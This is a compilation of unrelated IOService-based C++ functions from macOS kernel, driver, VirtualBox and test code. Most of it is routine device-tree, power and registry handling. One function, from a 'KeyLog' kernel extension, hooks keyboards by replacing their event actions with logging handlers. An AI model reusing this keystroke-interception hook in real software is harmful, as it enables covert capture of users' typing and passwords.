void db_dumpiojunk( const IORegistryPlane * plane ) { IORegistryEntry * next; IORegistryIterator * iter; OSOrderedSet * all; char format[] = "%xxxs"; IOService * service; iter = IORegistryIterator::iterateOver( plane ); all = iter->iterateAll(); if( all) { dbugprintf("Count %d\n", all->getCount() ); all->release(); } else dbugprintf("Empty\n"); iter->reset(); while( (next = iter->getNextObjectRecursive())) { snprintf(format + 1, sizeof(format) - 1, "%ds", 2 * next->getDepth( plane )); dbugprintf( format, ""); dbugprintf( "%s", next->getName( plane )); if( (next->getLocation( plane ))) dbugprintf("@%s", next->getLocation( plane )); dbugprintf(" <class %s", next->getMetaClass()->getClassName()); if( (service = OSDynamicCast(IOService, next))) dbugprintf(", busy %ld", service->getBusyState()); dbugprintf( ">\n"); } iter->release(); }
void IOPrintPlane( const IORegistryPlane * plane ) { IORegistryEntry * next; IORegistryIterator * iter; OSOrderedSet * all; char format[] = "%xxxs"; IOService * service; iter = IORegistryIterator::iterateOver( plane ); assert( iter ); all = iter->iterateAll(); if( all) { DEBG("Count %d\n", all->getCount() ); all->release(); } else DEBG("Empty\n"); iter->reset(); while( (next = iter->getNextObjectRecursive())) { snprintf(format + 1, sizeof(format) - 1, "%ds", 2 * next->getDepth( plane )); DEBG( format, ""); DEBG( "\033[33m%s", next->getName( plane )); if( (next->getLocation( plane ))) DEBG("@%s", next->getLocation( plane )); DEBG("\033[0m <class %s", next->getMetaClass()->getClassName()); if( (service = OSDynamicCast(IOService, next))) DEBG(", busy %ld", (long) service->getBusyState()); DEBG( ">\n"); // IOSleep(250); } iter->release(); }
IOReturn IOI2CMaxim1631::publishChildren(IOService *nub) { OSIterator *childIterator = NULL; IORegistryEntry *childEntry = NULL; IOService *childNub = NULL; childIterator = nub->getChildIterator(gIODTPlane); if( childIterator != NULL ) { // Iterate through children and create nubs while ( ( childEntry = (IORegistryEntry *)( childIterator->getNextObject() ) ) != NULL ) { // Publish child as IOService childNub = OSDynamicCast(IOService, OSMetaClass::allocClassWithName("IOService")); childNub->init(childEntry, gIODTPlane); childNub->attach(this); childNub->registerService(); DLOG("IOI2CMaxim1631::publishChildren(0x%x) published child %s\n", getI2CAddress(), childEntry->getName()); } childIterator->release(); } return kIOReturnSuccess; }
void ARMIO::publishBelow( IORegistryEntry * root ) { OSCollectionIterator * kids; IORegistryEntry * next; IOService * nub; // infanticide kids = IODTFindMatchingEntries( root, kIODTRecursive, deleteList() ); if( kids) { while( (next = (IORegistryEntry *)kids->getNextObject())) { next->detachAll( gIODTPlane); } kids->release(); } // publish everything below, minus excludeList kids = IODTFindMatchingEntries( root, kIODTRecursive | kIODTExclusive, excludeList()); if( kids) { while( (next = (IORegistryEntry *)kids->getNextObject())) { if( 0 == (nub = createNub( next ))) continue; nub->attach( this ); processNub(nub); nub->registerService(); } kids->release(); } }
TEST_F(RPCTest, test_30_client_shutdown_halfway) { IOService service; printf("%d\n", test_port); test_count = 10000; min_success = std::numeric_limits<int>::max(); max_success = -1; EchoServer::Ptr server = EchoServer::create<EchoServer>(&service, "127.0.0.1", test_port); server->bind_and_listen(); Thread* run_thrs[12]; for (int i = 0; i < 12; i++) { run_thrs[i] = new Thread([&service](){service.run(); LOG_DEBUG("run thread exiting");}); } Thread* client_thrs[30]; for (int i = 0; i < 30; i++) { client_thrs[i] = new Thread(std::bind(client_thread)); } sleep(1); server->shutdown(); server.reset(); for (int i = 0; i < 30; i++) { client_thrs[i]->join(); delete client_thrs[i]; } for (int i = 0; i < 12; i++) { run_thrs[i]->join(); delete run_thrs[i]; } LOG_INFO("min %d max %d", min_success, max_success); }
IOService * ACPIBacklightPanel::getBatteryDevice() { DbgLog("%s::%s()\n", this->getName(),__FUNCTION__); OSDictionary * matching = IOService::serviceMatching("IOPMPowerSource"); OSIterator * iter = NULL; IOService * bat = NULL; if (matching) { DbgLog("%s: getBatteryDevice() serviceMatching OK\n", this->getName()); iter = IOService::getMatchingServices(matching); matching->release(); } if (iter) { DbgLog("%s: getBatteryDevice() iter OK\n", this->getName()); bat = OSDynamicCast(IOService, iter->getNextObject()); if (bat) { DbgLog("%s: getBatteryDevice() bat is of class %s\n", this->getName(), bat->getMetaClass()->getClassName()); } iter->release(); } return bat; }
IOReturn IOI2CDriveBayGPIO::publishChildren(IOService *provider) { IOReturn status = kIOReturnSuccess; OSIterator *iter; IORegistryEntry *next; IOService *nub; if (iter = provider->getChildIterator(gIODTPlane)) { // Iterate through children and create nubs while (next = (IORegistryEntry *)(iter->getNextObject())) { nub = OSDynamicCast(IOService, OSMetaClass::allocClassWithName("IOI2CService")); if (nub) { nub->init(next, gIODTPlane); nub->attach(this); nub->registerService(); // DLOG("IOI2CDriveBayGPIO@%lx::publishChildren published child %s\n", getI2CAddress(), next->getName()); } } iter->release(); } return status; }
IOReturn AudioProj7PowerObject::setHardwarePowerOn(){ debugIOLog (3, "+ AudioProj7PowerObject::setHardwarePowerOn"); IOReturn result = kIOReturnSuccess; UInt32 progOut; IOService *keyLargo = 0; keyLargo = IOService::waitForService(IOService::serviceMatching("KeyLargo")); if(keyLargo){ long gpioOffset = kPowerObjectOffset; UInt8 value = kPowerOn; keyLargo->callPlatformFunction("keyLargo_writeRegUInt8", false, (void *)&gpioOffset, (void *)(UInt32)value, 0, 0); } if(audioPluginRef) { IOSleep(300); // we need to wait to be sure that the antipop has the time to do his stuff progOut = audioPluginRef->sndHWGetProgOutput(); progOut |= kSndHWProgOutput0; audioPluginRef->sndHWSetProgOutput(progOut); } if(audioPluginRef) { audioPluginRef->sndHWSetPowerState(kIOAudioDeviceActive); audioPluginRef->setDeviceDetectionActive(); } debugIOLog (3, "- AudioProj7PowerObject::setHardwarePowerOn"); return result; }
IOHIDKeyboardDevice * IOHIDKeyboardDevice::newKeyboardDeviceAndStart(IOService * owner, UInt32 location) { IOService * provider = owner; while ( NULL != (provider = provider->getProvider()) ) { if(OSDynamicCast(IOHIDDevice, provider) || OSDynamicCast(IOHIDevice, provider)) return 0; } IOHIDKeyboardDevice * device = new IOHIDKeyboardDevice; if (device) { if ( device->initWithLocation(location) && device->attach(owner) ) { if (!device->start(owner)) { device->detach(owner); device->release(); device = 0; } } else { device->release(); device = 0; } } return device; }
IOReturn AudioProj7PowerObject::setHardwarePowerOff(){ IOReturn result = kIOReturnSuccess; UInt32 progOut; IOService *keyLargo = 0; debugIOLog (3, "+ AudioProj7PowerObject::setHardwarePowerOff"); progOut = audioPluginRef->sndHWGetProgOutput(); progOut &= ~kSndHWProgOutput0; audioPluginRef->sndHWSetProgOutput(progOut); IOSleep(200); audioPluginRef->sndHWSetPowerState(kIOAudioDeviceSleep); audioPluginRef->setDeviceDetectionInActive(); keyLargo = IOService::waitForService(IOService::serviceMatching("KeyLargo")); if(keyLargo){ long gpioOffset = kPowerObjectOffset; UInt8 value = kPowerOff; keyLargo->callPlatformFunction("keyLargo_writeRegUInt8", false, (void *)&gpioOffset, (void *)(UInt32)value, 0, 0); } debugIOLog (3, "- AudioProj7PowerObject::setHardwarePowerOff"); return result; }
IOReturn AudioProj6PowerObject::setHardwarePowerOn(){ IOReturn result = kIOReturnSuccess; IOService *HeathRow = 0; UInt32 mask, data; UInt32 powerRegAdrr; debugIOLog (3, "+ AudioProj6PowerObject::setHardwarePowerOn"); HeathRow = IOService::waitForService(IOService::serviceMatching("Heathrow")); powerRegAdrr = kPowerObjectOffset; if(HeathRow) { mask = kPowerObjectMask; data = kPowerOn; HeathRow->callPlatformFunction(OSSymbol::withCString("heathrow_safeWriteRegUInt32"), false, (void *)powerRegAdrr, (void *)mask, (void *) data, 0); IOSleep(10); } if(audioPluginRef) { audioPluginRef->sndHWSetPowerState(kIOAudioDeviceActive); audioPluginRef->setDeviceDetectionActive(); } debugIOLog (3, "- AudioProj6PowerObject::setHardwarePowerOn, %d", kIOReturnSuccess == result); return result; }
void IOInterruptController::timeStampInterruptHandlerInternal(bool isStart, IOInterruptVectorNumber vectorNumber, IOInterruptVector *vector) { uint64_t providerID = 0; vm_offset_t unslidHandler = 0; vm_offset_t unslidTarget = 0; IOService * provider = getProvider(); if (provider) { providerID = provider->getRegistryEntryID(); } if (vector) { unslidHandler = VM_KERNEL_UNSLIDE((vm_offset_t)vector->handler); unslidTarget = VM_KERNEL_UNSLIDE_OR_PERM((vm_offset_t)vector->target); } if (isStart) { IOTimeStampStartConstant(IODBG_INTC(IOINTC_HANDLER), (uintptr_t)vectorNumber, (uintptr_t)unslidHandler, (uintptr_t)unslidTarget, (uintptr_t)providerID); } else { IOTimeStampEndConstant(IODBG_INTC(IOINTC_HANDLER), (uintptr_t)vectorNumber, (uintptr_t)unslidHandler, (uintptr_t)unslidTarget, (uintptr_t)providerID); } }
IOReturn IOI2CLM6x::createChildNubs ( IOService* nub ) { OSIterator* childIterator; IORegistryEntry* childEntry; IOService* childNub; require( ( childIterator = nub->getChildIterator( gIODTPlane ) ) != NULL, IOI2CLM6x_createChildNubs_getChildIteratorNull ); while ( ( childEntry = ( IORegistryEntry * ) childIterator->getNextObject() ) != NULL ) { childNub = OSDynamicCast( IOService, OSMetaClass::allocClassWithName( "IOService" ) ); if ( childNub ) { childNub->init( childEntry, gIODTPlane ); childNub->attach( this ); childNub->registerService(); } } IOI2CLM6x_createChildNubs_getChildIteratorNull: return( kIOReturnSuccess ); }
IOReturn AppleLM8x::publishChildren(IOService *nub) { OSIterator *childIterator = NULL; IORegistryEntry *childEntry = NULL; IOService *childNub = NULL; IOReturn status; childIterator = nub->getChildIterator(gIODTPlane); if( childIterator != NULL ) { // Iterate through children and create nubs while ( ( childEntry = (IORegistryEntry *)( childIterator->getNextObject() ) ) != NULL ) { // Build Table status = buildEntryTable(childEntry); LUNtableElement++; // Publish child as IOService childNub = OSDynamicCast(IOService, OSMetaClass::allocClassWithName("IOService")); childNub->init(childEntry, gIODTPlane); childNub->attach(this); childNub->registerService(); // DLOG("AppleLM8x::publishChildren(0x%x) published child %s\n", kLM8xAddr<<1, childEntry->getName()); } childIterator->release(); } return kIOReturnSuccess; }
void IOService::StopCurrentIOService(int signal) { MI_LOG_INFO(logger, "IOService::StopCurrentIOService signal:" << signal); if (current_) { IOService* current = (IOService*)current_; current->Stop(); } }
IOReturn IOPolledFilePollersOpen(IOPolledFileIOVars * filevars, uint32_t state, bool abortable) { IOPolledFilePollers * vars = filevars->pollers; IOBufferMemoryDescriptor * ioBuffer; IOPolledInterface * poller; IOService * next; IOReturn err = kIOReturnError; int32_t idx; vars->abortable = abortable; ioBuffer = 0; if (kIOPolledAfterSleepState == state) { vars->ioStatus = 0; vars->io = false; } (void) IOPolledFilePollersIODone(vars, false); if ((kIOPolledPreflightState == state) || (kIOPolledPreflightCoreDumpState == state)) { ioBuffer = vars->ioBuffer; if (!ioBuffer) { vars->ioBuffer = ioBuffer = IOBufferMemoryDescriptor::withOptions(kIODirectionInOut, 2 * kDefaultIOSize, page_size); if (!ioBuffer) return (kIOReturnNoMemory); } } for (idx = vars->pollers->getCount() - 1; idx >= 0; idx--) { poller = (IOPolledInterface *) vars->pollers->getObject(idx); err = poller->open(state, ioBuffer); if ((kIOReturnSuccess != err) && (kIOPolledPreflightCoreDumpState == state)) { err = poller->open(kIOPolledPreflightState, ioBuffer); } if (kIOReturnSuccess != err) { HIBLOG("IOPolledInterface::open[%d] 0x%x\n", idx, err); break; } } if (kIOReturnSuccess == err) { next = vars->media; while (next) { next->setProperty(kIOPolledInterfaceActiveKey, kOSBooleanTrue); next = next->getProvider(); } } return (err); }
bool com_prebeg_kext_KeyLog::notificationHandler(void *target, void *ref, IOService *newServ, IONotifier *notifier) { com_prebeg_kext_KeyLog* self = OSDynamicCast( com_prebeg_kext_KeyLog, (OSMetaClassBase*)target ); if (!self) return false; #ifdef DEBUG IOLog( "%s::Notification handler called\n", self->getName() ); #endif IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ ); if (!keyboard) return false; if (!keyboard->_keyboardEventTarget) { #ifdef DEBUG IOLog( "%s::No Keyboard event target\n", self->getName()); #endif return false; } // event target must be IOHIDSystem IOService* targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget ); if (targetServ) { #ifdef DEBUG IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName()); #endif } if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem")) return false; // we have a valid keyboard to be logged #ifdef DEBUG IOLog( "%s::Adding keyboard %p\n", self->getName(),keyboard ); #endif int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0); if (index<0) { self->loggedKeyboards->setObject(keyboard); self->kextKeys++; } origAction = keyboard->_keyboardEventAction; // save the original action keyboard->_keyboardEventAction = (KeyboardEventAction) logAction; // apply the new action origSpecialAction = keyboard->_keyboardSpecialEventAction; // save the original action keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction; // apply the new action return true; }
void IOInterruptController::timeStampSpuriousInterrupt(void) { uint64_t providerID = 0; IOService * provider = getProvider(); if (provider) { providerID = provider->getRegistryEntryID(); } IOTimeStampConstant(IODBG_INTC(IOINTC_SPURIOUS), providerID); }
static IOUSBDevice* GetOwnerProvider(const IOService *us) { IOService *prov = us->getProvider(), *provprov; if (prov == NULL) return NULL; provprov = prov->getProvider(); if (provprov == NULL) return NULL; return OSDynamicCast(IOUSBDevice, provprov); }
IOFireWireUnit * IOFireWireSBP2LUN::getFireWireUnit( void ) { IOService * unit = NULL; IOService * provider = getProvider(); if( provider ) { unit = provider->getProvider(); } return (IOFireWireUnit*)unit; }
bool getACStatus() { IOService * batteryDevice = getBatteryDevice(); if (NULL != batteryDevice) { OSObject * obj = batteryDevice->getProperty("ExternalConnected"); OSBoolean * status = OSDynamicCast(OSBoolean, obj); if (status) return status->getValue(); } return true; }
IOService * ARMIO::createNub( IORegistryEntry * from ) { IOService * nub; nub = new ARMIODevice; if( nub && !nub->init( from, gIODTPlane )) { nub->free(); nub = 0; } return( nub); }
IOService * IOPlatformExpert::createNub( OSDictionary * from ) { IOService * nub; nub = new IOPlatformDevice; if(nub) { if( !nub->init( from )) { nub->release(); nub = 0; } } return( nub); }
IOService * IODTPlatformExpert::createNub( IORegistryEntry * from ) { IOService * nub; nub = new IOPlatformDevice; if( nub) { if( !nub->init( from, gIODTPlane )) { nub->free(); nub = 0; } } return( nub); }
IOReturn ARMIODevice::getResources( void ) { IOService *macIO = this; if (getDeviceMemory() != 0) return kIOReturnSuccess; while (macIO && ((macIO = macIO->getProvider()) != 0)) if (strcmp("arm-io", macIO->getName()) == 0) break; if (macIO == 0) return kIOReturnError; IODTResolveAddressing(this, "reg", macIO->getDeviceMemoryWithIndex(0)); return kIOReturnSuccess; }
// Access to Keylargo registers: //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // [3110829] register accesses need to translate endian format. void AudioI2SControl::KLSetRegister(UInt32 klRegisterOffset, UInt32 value) { IOService * keyLargoService = NULL; UInt32 mask = kAudioFCR1Mask; const OSSymbol * theSymbol; theSymbol = OSSymbol::withCString ("keyLargo_safeWriteRegUInt32"); keyLargoService = IOService::waitForService (IOService::serviceMatching ("KeyLargo")); if (keyLargoService && theSymbol) { keyLargoService->callPlatformFunction (theSymbol, false, (void *)klRegisterOffset, (void *)mask, (void *) value, 0); theSymbol->release (); } }
/** * Stop this service. */ void org_virtualbox_VBoxVFS::stop(IOService *pProvider) { int rc; AssertReturnVoid(ASMAtomicReadBool(&g_fInstantiated)); rc = VBoxVFSUnRegisterFilesystem(); if (RT_FAILURE(rc)) { PERROR("VBoxVFS filesystem is busy. Make sure all " "shares are unmounted (%d)", rc); } vboxDisconnect(&g_vboxSFClient); PINFO("VBox client disconnected"); vboxUninit(); PINFO("Low level uninit done"); coreService->release(); PINFO("VBoxGuest service released"); IOService::stop(pProvider); ASMAtomicWriteBool(&g_fInstantiated, false); PINFO("Successfully stopped I/O kit class instance"); }
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // [3110829] register accesses need to translate endian format. UInt32 AudioI2SControl::KLGetRegister(UInt32 klRegisterOffset) { UInt32 value = 0; IOService * keyLargoService = NULL; const OSSymbol * theSymbol; theSymbol = OSSymbol::withCString ("keyLargo_safeReadRegUInt32"); keyLargoService = IOService::waitForService (IOService::serviceMatching ("KeyLargo")); if (keyLargoService && theSymbol) { keyLargoService->callPlatformFunction (theSymbol, false, (void *)klRegisterOffset, &value, 0, 0); theSymbol->release (); } return value; }
bool IOPlatformExpert::RegisterServiceInTree (IOService * theService, OSDictionary * theTreeNode, OSDictionary * theTreeParentNode, IOService * theProvider) { IOService * aService; bool registered = false; OSArray * children; unsigned int numChildren; OSDictionary * child; // make sure someone is not already registered here if ( NULL == theTreeNode->getObject ("service") ) { if ( theTreeNode->setObject ("service", OSDynamicCast ( OSObject, theService)) ) { // 1. CHILDREN ------------------ // we registered the node in the tree...now if the node has children // registered we must tell this service to add them. if ( NULL != (children = (OSArray *) theTreeNode->getObject ("children")) ) { numChildren = children->getCount (); for ( unsigned int i = 0; i < numChildren; i++ ) { if ( NULL != (child = (OSDictionary *) children->getObject (i)) ) { if ( NULL != (aService = (IOService *) child->getObject ("service")) ) theService->addPowerChild (aService); } } } // 2. PARENT -------------------- // also we must notify the parent of this node (if a registered service // exists there) of a new child. if ( theTreeParentNode ) { if ( NULL != (aService = (IOService *) theTreeParentNode->getObject ("service")) ) if (aService != theProvider) aService->addPowerChild (theService); } registered = true; } } return registered; }
static IOReturn IOGetVolumeCryptKey(dev_t block_dev, OSString ** pKeyUUID, uint8_t * volumeCryptKey, size_t keySize) { IOReturn err; IOService * part; OSString * keyUUID = 0; OSString * keyStoreUUID = 0; uuid_t volumeKeyUUID; aks_volume_key_t vek; static IOService * sKeyStore; part = IOCopyMediaForDev(block_dev); if (!part) return (kIOReturnNotFound); err = part->callPlatformFunction(PLATFORM_FUNCTION_GET_MEDIA_ENCRYPTION_KEY_UUID, false, (void *) &keyUUID, (void *) &keyStoreUUID, NULL, NULL); if ((kIOReturnSuccess == err) && keyUUID && keyStoreUUID) { // IOLog("got volume key %s\n", keyStoreUUID->getCStringNoCopy()); if (!sKeyStore) sKeyStore = (IOService *) IORegistryEntry::fromPath(AKS_SERVICE_PATH, gIOServicePlane); if (sKeyStore) err = uuid_parse(keyStoreUUID->getCStringNoCopy(), volumeKeyUUID); else err = kIOReturnNoResources; if (kIOReturnSuccess == err) err = sKeyStore->callPlatformFunction(gAKSGetKey, true, volumeKeyUUID, &vek, NULL, NULL); if (kIOReturnSuccess != err) IOLog("volume key err 0x%x\n", err); else { if (vek.key.keybytecount < keySize) keySize = vek.key.keybytecount; bcopy(&vek.key.keybytes[0], volumeCryptKey, keySize); } bzero(&vek, sizeof(vek)); } part->release(); if (pKeyUUID) *pKeyUUID = keyUUID; return (err); }